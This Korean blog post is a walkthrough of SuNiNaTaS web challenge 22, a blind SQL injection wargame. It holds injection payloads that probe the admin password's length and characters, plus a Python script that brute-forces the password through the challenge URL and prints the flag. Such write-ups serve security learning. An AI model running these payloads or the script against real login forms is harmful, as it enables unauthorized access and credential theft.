반응형
http://suninatas.com/challenge/web22/web22.asp
테스트 계정으로 guest/guest가 존재하며 비밀번호 컬럼 명은 pw이다.
테스트 계정으로 guest/guest가 존재하며 비밀번호 컬럼 명은 pw이다.
로그인 반응
로그인 실패
- False 로그인 성공
- OK admin 혹은 OK guest 필터링 탐지
- No hack 비밀번호 길이 확인
admin' and len(pw)=1 --
admin' and len(pw)=2 --
-- ... 중략
admin' and len(pw)=10 --
비밀번호 확인
admin' and substring(pw,1,1)= 'a'--
admin' and substring(pw,1,1)= 'b'--
admin' and substring(pw,2,1)= 'a'--
-- ... 중z략
admin' and substring(pw,10,1)= 'a'--
자동화 스크립트
# python 3.8
import urllib.request
import urllib.parse
# 쿠키 값
cookies={'ASP.NET_SessionId': 'v1ctxgltlleps5ajeakv1kx2'}
# password 길이
password_len = 10
# 비밀번호 저장
real_pw = ''
# 레코드
for j in range(1,password_len+1):
for i in range(32,127):
url = "http://suninatas.com/challenge/web22/web22.asp?id="
inject = "admin' and substring(pw," + str(j) + ",1)= '" + chr(i) + "'--"
url = url + urllib.parse.quote(inject) + "&pw=123"
req = urllib.request.Request(url)
req.add_header('cookie',"ASP.NET_SessionId:v1ctxgltlleps5ajeakv1kx2")
f = urllib.request.urlopen(req)
resp = f.read().decode("utf-8")
if resp.find("OK") != -1:
print ("find: " + chr(i) )
real_pw += chr(i)
break
print ("real_password: " + real_pw )
flag
- N1c3Bilnl)반응형
'해킹-보안' 카테고리의 다른 글
XSS(Cross-Site Scripting) 테스트 앱 (0) | 2021.02.23 |
---|---|
SuNiNaTaS WEB 23번 풀이 - Hard Blind Sql Injection (1) | 2021.02.18 |
Fiddler 환경 설정 및 단축키 (0) | 2021.02.15 |
자바스크립트 정규식 비밀번호 유효성 검사 (0) | 2021.02.11 |
Spring XSS Java Filter 등록하기 (1) | 2021.02.09 |